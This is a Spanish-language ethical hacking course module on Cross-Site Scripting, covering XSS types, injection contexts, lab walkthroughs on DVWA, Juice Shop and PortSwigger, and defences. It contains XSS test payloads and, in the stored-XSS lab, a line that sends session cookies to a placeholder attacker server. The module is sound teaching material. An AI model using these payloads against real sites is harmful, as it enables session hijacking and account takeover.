Módulo 5 de 10

Módulo 5: Cross-Site Scripting (XSS)

Módulo 5: Cross-Site Scripting (XSS)

Aviso legal y ético obligatorio: todo el contenido práctico de este módulo está pensado exclusivamente para ejecutarse en entornos de laboratorio propios y autorizados: DVWA, OWASP Juice Shop, PortSwigger Web Security Academy y máquinas virtuales personales. Atacar sistemas sin autorización expresa del propietario es delito tipificado en España en el artículo 197 bis del Código Penal, con penas de hasta dos años de prisión. Nunca apliques estas técnicas contra sistemas de terceros sin permiso escrito.

El Cross-Site Scripting, conocido como XSS, es una de las vulnerabilidades web más antiguas y más extendidas, y a mi juicio también de las más subestimadas. En el OWASP Top 10:2025 (vigente desde 2025) el XSS está clasificado dentro de la categoría A05:2025 – Injection, junto con la inyección SQL y otras formas de inyección de código; en concreto se corresponde con CWE-79. En la edición anterior, esta categoría figuraba como A03:2021 – Injection: el riesgo no ha cambiado de naturaleza, solo de posición en el ranking. Según OWASP, el XSS es la forma de inyección más frecuente, con más de 30.000 CVE asociados. A diferencia de lo que su nombre sugiere, XSS no ataca al servidor: ataca al navegador del usuario. La carga maliciosa se ejecuta en el contexto de un sitio de confianza y con eso el atacante puede robar sesiones, redirigir a páginas de phishing, registrar pulsaciones de teclado o convertir el navegador de la víctima en parte de una red de bots.

Entender XSS a fondo (cómo surge, cómo se detecta y, sobre todo, cómo se elimina) es una competencia que conviene dominar tanto si vas hacia el hacking ético (eJPT, PNPT, Bug Bounty) como si tu objetivo es desarrollar aplicaciones seguras. Este módulo va de la teoría al laboratorio y la remediación, con pasos reproducibles en entornos legales.

Qué aprenderás

  • Qué es XSS y por qué el navegador ejecuta código que no debería.
  • Las tres categorías de XSS: reflejado, almacenado y basado en DOM, y sus diferencias de impacto.
  • Los cuatro contextos de inyección: HTML, atributo HTML, JavaScript y URL.
  • Cómo detectarlo paso a paso en DVWA, OWASP Juice Shop y PortSwigger Web Security Academy.
  • Una demostración de impacto real en laboratorio: robo de cookie de sesión.
  • Estrategias de prevención al día (2026): codificación de salida por contexto, CSP estricta basada en nonces, Trusted Types, la Sanitizer API del navegador, DOMPurify y cookies HttpOnly/SameSite.

Qué es XSS y por qué ocurre

Un ataque XSS ocurre cuando una aplicación web mete datos que aporta el usuario en su respuesta HTML sin sanearlos ni codificarlos correctamente. El navegador recibe ese HTML, lo interpreta y ejecuta el código JavaScript incrustado como si fuera código legítimo del sitio. El problema de fondo es que falta separación entre datos y código: la aplicación confunde la entrada del usuario con instrucciones ejecutables.

La causa técnica es simple: un servidor (o un script del lado cliente) construye HTML concatenando cadenas en vez de usar API seguras que distingan entre texto y marcado. Por ejemplo, si un motor de plantillas hace algo como:

<p>Bienvenido, <?php echo $_GET['nombre']; ?></p>

…y el atacante pasa como parámetro <script>alert(1)</script>, el servidor emite:

<p>Bienvenido, <script>alert(1)</script></p>

El navegador ve un elemento <script> válido y lo ejecuta. No importa que el código viniera de un usuario: el navegador lo trata con la misma confianza que al JavaScript del propio sitio.

Los tres tipos de XSS

XSS Reflejado (Reflected XSS)

El tipo más frecuente y, en cierto modo, el que más se subestima. La carga maliciosa viaja en la solicitud HTTP (normalmente en un parámetro GET de la URL o en el cuerpo de un formulario POST) y el servidor la devuelve reflejada al momento en la respuesta, sin guardarla. El atacante fabrica una URL trampa y necesita que la víctima la visite: mediante un correo de phishing, un mensaje en redes sociales o un enlace acortado.

Impacto típico: robo de cookies de sesión, redirección a páginas maliciosas, captura de credenciales metidas en formularios falsificados. Como no persiste en el servidor, deja menos rastro forense.

XSS Almacenado (Stored XSS)

Se considera el más peligroso porque el payload queda grabado en el servidor (base de datos, sistema de archivos, caché) y se sirve a todos los usuarios que visitan la página afectada. No hace falta que la víctima haga clic en ningún enlace especial: con visitar la página comprometida basta.

Escenarios habituales: campos de comentarios, perfiles de usuario, campos de nombre en paneles de administración, sistemas de tickets de soporte, mensajería interna. Si la página afectada es el panel de administración, el atacante puede comprometer toda la plataforma con un único payload almacenado en un comentario.

XSS Basado en DOM (DOM-Based XSS)

Lo definió Amit Klein en 2005: es un caso especial donde el servidor nunca llega a ver la carga maliciosa. La vulnerabilidad vive entera en el JavaScript del lado cliente. El script lee datos de una fuente (source) controlada por el atacante (el fragmento de URL location.hash, document.referrer, localStorage…) y los escribe en el DOM usando sumideros (sinks) inseguros como innerHTML, document.write() o eval().

Eso complica su detección: los escáneres que solo analizan el tráfico HTTP no lo ven, y los WAF clásicos no lo bloquean porque el payload no pasa por el servidor. Hace falta análisis estático del JavaScript o pruebas dinámicas en el navegador.

Tipo ¿Dónde se almacena? ¿El servidor ve el payload? Vector de entrega
Reflejado No se almacena Sí (en la petición) URL trampa enviada a la víctima
Almacenado Servidor / BD Sí (se guarda) Visitar la página comprometida
DOM-Based No se almacena No URL trampa (fragmento #hash, parámetros)

Contextos de inyección

Saber en qué contexto del documento HTML se inserta la entrada del usuario es importante para elegir el payload correcto y para aplicar la codificación adecuada en la prevención. Los cuatro contextos principales son estos:

Contexto HTML (cuerpo del documento)

La entrada se refleja directamente como contenido HTML. El atacante puede inyectar etiquetas. Ejemplo vulnerable:

<div>Resultado: [ENTRADA_USUARIO]</div>

Payload canónico de prueba (escapado aquí para que no se ejecute en esta página):

<script>alert('XSS')</script>

Contexto de atributo HTML

La entrada se inserta dentro del valor de un atributo. Si no hay comillas o se pueden romper las existentes, el atacante añade atributos de manejadores de eventos:

<input value="[ENTRADA_USUARIO]">
<!-- Payload: " onmouseover="alert(1) -->

Resultado del HTML generado:

<input value="" onmouseover="alert(1)">

Contexto JavaScript

La entrada se incrusta dentro de un bloque o literal JavaScript ya existente. El atacante cierra el string y añade código propio:

<script>var nombre = '[ENTRADA_USUARIO]';</script>
<!-- Payload: '; alert(1); // -->

Cuando el contexto es un template literal (backtick), basta con usar la sintaxis ${...}:

<script>var msg = `Hola, ${nombre}`;</script>
<!-- Payload: ${alert(1)} -->

Contexto URL

La entrada se usa como parte de una URL (por ejemplo, en un atributo href o src). El vector clásico es el pseudoprotocolo javascript::

<a href="[ENTRADA_USUARIO]">Haz clic</a>
<!-- Payload: javascript:alert(1) -->

Laboratorio paso a paso

Practica lo siguiente exclusivamente en tus entornos de laboratorio. Nunca en sistemas en producción ni de terceros.

Laboratorio 1 — DVWA: XSS Reflejado (nivel Low)

  1. Levanta DVWA (la que instalaste en el Módulo 1 con Docker Compose, accesible en http://localhost:4280).
  2. Inicia sesión (admin / password) y en el menú lateral selecciona XSS (Reflected).
  3. Configura la dificultad en Low (botón «DVWA Security» en el menú).
  4. En el campo «What’s your name?» escribe tu nombre y observa que se refleja en la página: «Hello, Pepe».
  5. Ahora introduce el siguiente payload de detección básico:
<script>alert('XSS-DETECTADO')</script>
  1. Si aparece una alerta emergente, has confirmado la vulnerabilidad. El código fuente de la respuesta mostrará el script incrustado sin codificación.
  2. Para demostrar impacto real (robo de cookie), introduce este payload en el lab (la cookie se imprime en la alerta, sin llegar a terceros porque estás en localhost):
<script>alert('Cookie: ' + document.cookie)</script>
  1. Verás el valor de la cookie PHPSESSID. En un ataque real, en lugar de alert() se usaría fetch() para enviársela a un servidor del atacante. Esto ilustra por qué las cookies de sesión deben marcarse como HttpOnly: esa flag impide que JavaScript acceda a ellas.
  2. Sube a nivel Medium: DVWA filtra la etiqueta <script>. Prueba a evadir el filtro usando mayúsculas o un evento HTML:
<img src=x onerror="alert('XSS-Medium')">
  1. En nivel High, DVWA aplica una lista blanca más estricta. Observa el código fuente PHP (botón «View Source») para entender qué filtros se aplican y por qué fallan.

Laboratorio 2 — DVWA: XSS Almacenado (nivel Low)

  1. Selecciona XSS (Stored) en DVWA con nivel Low.
  2. Verás un formulario de libro de visitas con campos «Name» y «Message».
  3. En el campo «Message» introduce el siguiente payload de prueba:
<script>alert('Stored-XSS')</script>
  1. Envía el formulario. Cada vez que cualquier usuario cargue la página del libro de visitas, el script se ejecutará automáticamente.
  2. Para simular el impacto máximo, inyecta un payload que imprima la cookie (en lab, sin exfiltración real):
<script>document.write('<img src="http://LAB-ATTACKER-SERVER/?c='+document.cookie+'" />')</script>
  1. En un entorno real de laboratorio con Netcat o Burp Collaborator escuchando en LAB-ATTACKER-SERVER, recibirías la cookie en tus registros. Este paso demuestra por qué el XSS almacenado en un panel de administración es tan grave.
  2. Observa en el campo «Name» que hay un límite de caracteres de 10. Puedes quitarlo modificando el atributo maxlength en las herramientas de desarrollador del navegador antes de enviar el formulario.

Laboratorio 3 — OWASP Juice Shop: DOM XSS y Reflected XSS

  1. Instala Juice Shop: docker run -d -p 3000:3000 bkimminich/juice-shop y accede a http://localhost:3000.
  2. DOM XSS (reto «DOM XSS»): en la barra de búsqueda de productos escribe cualquier término. Observa que el término buscado aparece en la página. Introduce el siguiente payload de prueba:
<iframe src="javascript:alert(`xss`)">
  1. Juice Shop refleja este valor en el DOM mediante JavaScript sin sanitización, ejecutando el alert. El reto queda marcado como completado en el marcador.
  2. Reflected XSS (reto «Reflected XSS»): ve a la sección de seguimiento de pedidos. La URL tiene la forma /#/track-result?id=VALOR. Sustituye VALOR por:
<iframe src="javascript:alert(`xss`)">
  1. La aplicación inserta ese valor directamente en el HTML de la respuesta sin codificarlo. El iframe ejecuta el alert.

Laboratorio 4 — PortSwigger Web Security Academy

La Web Security Academy de PortSwigger ofrece más de 30 laboratorios XSS gratuitos y guiados, sin instalar nada. Son de lo más completo para preparar certificaciones como PNPT o practicar Bug Bounty.

  • Lab 1 – Reflected XSS into HTML context with nothing encoded: introduce <script>alert(1)</script> en el campo de búsqueda. Se resuelve al momento, sirve para afianzar el concepto base.
  • Lab 2 – Stored XSS into HTML context with nothing encoded: publica un comentario con <script>alert(1)</script>. Demuestra la persistencia.
  • Lab 3 – Reflected XSS into attribute with angle brackets HTML-encoded: los corchetes angulares <> están codificados, así que no puedes inyectar etiquetas nuevas. Pero puedes cerrar el atributo y añadir un manejador de evento:
" autofocus onfocus="alert(1)
  • Lab 4 – DOM-based XSS usando innerHTML: el sink innerHTML no ejecuta <script>, pero sí <img onerror>:
<img src=1 onerror=alert(1)>

Conviene trabajar los laboratorios en orden. Cada uno trae una mitigación parcial que el siguiente enseña a superar, y así se va construyendo la comprensión de los contextos y los bypass de filtros.

Cómo prevenirlo

La prevención de XSS no se resuelve con una única medida: hace falta defensa en profundidad aplicada en varias capas. El OWASP Cross Site Scripting Prevention Cheat Sheet establece las reglas fundamentales para XSS reflejado y almacenado; para el XSS basado en DOM, la referencia es el OWASP DOM-based XSS Prevention Cheat Sheet.

Regla 1 — Codificación de salida según el contexto

La defensa más importante, y la que peor se implementa casi siempre. No existe una codificación universal: hay que aplicar la codificación correcta para cada contexto de salida.

Contexto Codificación requerida Ejemplo
HTML (cuerpo) HTML entities &lt; en lugar de <
Atributo HTML HTML attribute encoding Comillas y corchetes escapados
JavaScript (string) JavaScript string encoding x3c en lugar de <
URL (parámetro) URL percent-encoding %3C en lugar de <
CSS CSS hex encoding 3c en lugar de <

En PHP usa htmlspecialchars($var, ENT_QUOTES, 'UTF-8') para contexto HTML. En JavaScript del servidor (Node.js) usa librerías como he o las funciones de tu framework. Nunca construyas HTML concatenando strings sin codificar.

Regla 2 — Usa frameworks que escapen por defecto

Los frameworks modernos aplican codificación de salida de forma automática si usas bien sus mecanismos de plantillas. En React, las expresiones JSX {variable} se escapan por defecto; solo dangerouslySetInnerHTML se salta ese escape (su propio nombre ya avisa). En Angular, el binding de interpolación {{ variable }} escapa; bypassSecurityTrustHtml no. En Vue, {{ }} escapa; v-html no. La regla práctica es evitar las API marcadas explícitamente como «inseguras» salvo que sea estrictamente necesario y la entrada venga de una fuente de confianza totalmente controlada.

Regla 3 — Content Security Policy (CSP)

La Content Security Policy es una cabecera HTTP que le dice al navegador qué scripts puede ejecutar. Una CSP bien configurada rompe la cadena de explotación incluso cuando existe una vulnerabilidad XSS, porque el navegador se niega a ejecutar scripts no autorizados. El OWASP Content Security Policy Cheat Sheet recomienda hoy una CSP estricta basada en nonces (o hashes) junto con 'strict-dynamic', en lugar de las antiguas listas blancas de dominios: estas últimas son frágiles y se eluden con facilidad.

Content-Security-Policy: script-src 'nonce-{VALOR_ALEATORIO}' 'strict-dynamic'; object-src 'none'; base-uri 'none';

Cada respuesta genera un nonce aleatorio nuevo e impredecible que se coloca tanto en la cabecera como en cada etiqueta de script legítima (<script nonce="{VALOR_ALEATORIO}">). 'strict-dynamic' deja que un script de confianza cargue a su vez otros scripts, lo que simplifica el despliegue en aplicaciones reales. Evita siempre 'unsafe-inline' y 'unsafe-eval': permiten justo los vectores que XSS usa, y una CSP que los incluya pierde casi todo su valor protector. La CSP es una segunda capa de defensa: no sustituye a la codificación de salida, pero reduce mucho el impacto cuando esta falla.

Regla 4 — HttpOnly y Secure en las cookies de sesión

La flag HttpOnly impide que JavaScript lea el valor de la cookie mediante document.cookie, cortando el vector más habitual de robo de sesión vía XSS. La flag Secure garantiza que la cookie solo se transmite por HTTPS. En PHP:

session_set_cookie_params(['httponly' => true, 'secure' => true, 'samesite' => 'Strict']);

Estas flags no evitan el XSS en sí, pero reducen mucho el impacto del robo de sesión.

Regla 5 — Sanitización con DOMPurify para HTML enriquecido

Cuando la aplicación necesita permitir cierto HTML (editores de texto enriquecido, comentarios con formato), la codificación total destruiría el formato. En esos casos la solución es la sanitización: quitar las partes peligrosas del HTML conservando las seguras. DOMPurify es la biblioteca que recomienda OWASP para esta tarea:

const limpio = DOMPurify.sanitize(entradaUsuario);
elemento.innerHTML = limpio;

DOMPurify elimina automáticamente atributos de evento (onerror, onmouseover…), el pseudoprotocolo javascript: y otras construcciones peligrosas, conservando etiquetas de formato como <strong>, <em> o <a href>. Conviene mantener DOMPurify siempre actualizado: su desarrollo sigue activo porque aparecen bypass nuevos de vez en cuando.

Regla 6 — Sanitizer API nativa del navegador

Desde 2026 los navegadores incorporan una Sanitizer API nativa que sanea HTML sin librerías externas, mediante el método seguro setHTML():

elemento.setHTML(entradaUsuario);

A diferencia de innerHTML, setHTML() elimina por defecto scripts y manejadores de eventos antes de insertar el marcado. Firefox 148 fue el primer navegador en implementar la API estandarizada (febrero de 2026); Chromium la está desplegando y Safari todavía no la incluye. Como aún no es Baseline (no funciona en todos los navegadores), úsala con detección de características y mantén DOMPurify como respaldo.

Regla 7 — Trusted Types

La directiva CSP require-trusted-types-for 'script' obliga a que todos los sinks DOM potencialmente peligrosos (innerHTML, document.write, eval…) reciban únicamente objetos creados por políticas de Trusted Types, y rechaza strings directas. Elimina clases enteras de DOM XSS a nivel de plataforma. Está soportada en navegadores Chromium (Chrome/Edge desde la versión 83) y, más recientemente, en Safari; Firefox todavía no la implementa a mediados de 2026 (aunque Mozilla se ha mostrado favorable), así que conviene tratarla como capa adicional, no como única defensa.

Ejercicio propuesto

  1. Completa los 5 primeros laboratorios XSS gratuitos de PortSwigger Web Security Academy anotando: tipo de XSS, contexto de inyección y payload que resolvió cada lab.
  2. En DVWA nivel Medium, encuentra el payload de XSS almacenado que elude el filtro de <script> e imprime el valor de document.cookie en la consola del navegador (sin exfiltración; solo en localhost).
  3. Instala Juice Shop y resuelve los retos DOM XSS y Reflected XSS. Captura una pantalla del marcador con los retos completados.
  4. Implementa una función PHP que reciba un comentario de usuario y lo muestre de forma segura en una página HTML. Usa htmlspecialchars() correctamente y añade la cabecera CSP apropiada.
  5. Investiga qué es el XSS basado en mXSS (mutated XSS) y en qué escenarios puede saltarse DOMPurify si no está actualizado. Escribe un párrafo con tus conclusiones.

Errores comunes

  • Filtrar en lugar de codificar. Quitar <script> de la entrada no basta: hay decenas de formas de ejecutar JavaScript sin esa etiqueta (onerror, javascript:, <svg onload>…). La codificación de salida es la defensa correcta, no el filtrado de entrada.
  • Codificación incorrecta para el contexto. Aplicar HTML entities a un valor que se inserta en un atributo sin comillas, o en un bloque JavaScript, no protege nada. Cada contexto necesita su propia codificación.
  • Confiar en el WAF como única defensa. Los Web Application Firewalls se pueden bypassear. Son una capa adicional, nunca la única.
  • Olvidar las cabeceras HTTP de seguridad. Implementar la codificación en las plantillas pero no configurar X-Content-Type-Options: nosniff, una CSP estricta o la directiva frame-ancestors (que sustituye a la ya obsoleta X-Frame-Options para protección anti-clickjacking) deja vectores abiertos.
  • No probar el XSS almacenado con varios usuarios. Un tester que solo prueba con su propia cuenta puede no ver que el payload afecta a otros roles (admin, moderador).
  • Usar innerHTML con datos del usuario en JavaScript. Es el error más frecuente en código frontend moderno. Usa siempre textContent cuando solo haga falta mostrar texto, o DOMPurify cuando haga falta HTML.
  • Cookies sin HttpOnly. Sin esta flag, cualquier XSS que funcione expone de inmediato la sesión de todos los usuarios afectados.

Preguntas frecuentes

¿Cuál es la diferencia real entre XSS reflejado y XSS almacenado desde el punto de vista del impacto?

El XSS reflejado necesita que cada víctima haga clic en un enlace preparado a propósito; el atacante tiene que distribuir ese enlace de forma masiva (phishing, spam, redes sociales) para escalar el impacto. El XSS almacenado no necesita esa distribución activa: el payload queda guardado en el servidor y se ejecuta solo en el navegador de cualquier usuario que visite la página comprometida. Si esa página es el panel de administración, un único payload almacenado puede comprometer la cuenta de cada administrador que lo abra, lo que hace del XSS almacenado la vulnerabilidad de mayor severidad en casi todos los contextos.

¿Un WAF protege completamente contra XSS?

No. Los WAF aplican reglas basadas en firmas o heurísticas que se pueden eludir con técnicas de ofuscación (codificación de caracteres, fragmentación de payloads, vectores menos conocidos como <svg>, <math> o template literals). El XSS basado en DOM, encima, ocurre entero en el cliente: el payload nunca pasa por el WAF. Los WAF son una capa adicional que ayuda, pero la prevención real está en la codificación de salida correcta dentro del código de la aplicación.

¿Es posible tener XSS incluso usando un framework moderno como React o Vue?

Sí. Aunque React y Vue escapan las expresiones de template por defecto, los dos exponen API explícitamente inseguras (dangerouslySetInnerHTML en React, v-html en Vue) que se saltan el escape. Si el desarrollador usa esas API con datos del usuario sin sanearlos antes con DOMPurify, el framework moderno no protege nada. El XSS basado en DOM también puede surgir de lógica JavaScript propia que manipula el DOM fuera del sistema de plantillas del framework, sobre todo al usar librerías de terceros que tocan el DOM directamente.

¿Qué es el Self-XSS y por qué no cuenta como vulnerabilidad de Bug Bounty?

El Self-XSS es una vulnerabilidad donde el único usuario que puede verse afectado es el propio atacante: hace falta que la víctima pegue código malicioso en su propio navegador (por ejemplo, en la consola de desarrollador o en un campo que solo ella ve). Aunque técnicamente hay inyección de código, el impacto es nulo porque no afecta a terceros. La mayoría de programas de Bug Bounty excluyen explícitamente el Self-XSS de su alcance o le asignan severidad informacional (P4/P5). Eso sí, el Self-XSS combinado con CSRF o clickjacking puede escalar a una vulnerabilidad real: entenderlo forma parte de la metodología de análisis de impacto.

Recursos y siguiente paso

XSS es la puerta de entrada a técnicas más avanzadas de hacking web. Para ir más allá de este módulo, consulta la Guía Completa de Hacking Web, donde se explica la metodología de reconocimiento y mapeo de superficie de ataque que aplica a toda la serie. Si tu objetivo es certificarte, en nuestra sección de cursos y certificaciones encontrarás la ruta recomendada para eJPT y PNPT, dos certificaciones que incluyen XSS en su temario.

Para profundizar en los aspectos técnicos con recursos oficiales:

Recordatorio ético y legal final: las técnicas descritas en este módulo son herramientas de conocimiento para construir sistemas más seguros y para ejercer el hacking ético de forma legal. En España, el acceso no autorizado a sistemas informáticos y la interceptación de datos están tipificados como delitos en los artículos 197 y 197 bis del Código Penal, con penas de prisión de hasta dos años. Practica siempre en entornos propios o con autorización escrita explícita del propietario del sistema. Si encuentras una vulnerabilidad XSS en un sistema en producción durante un bug bounty o una auditoría autorizada, repórtala de forma responsable siguiendo la política de divulgación del programa. El conocimiento es poder: úsalo con responsabilidad.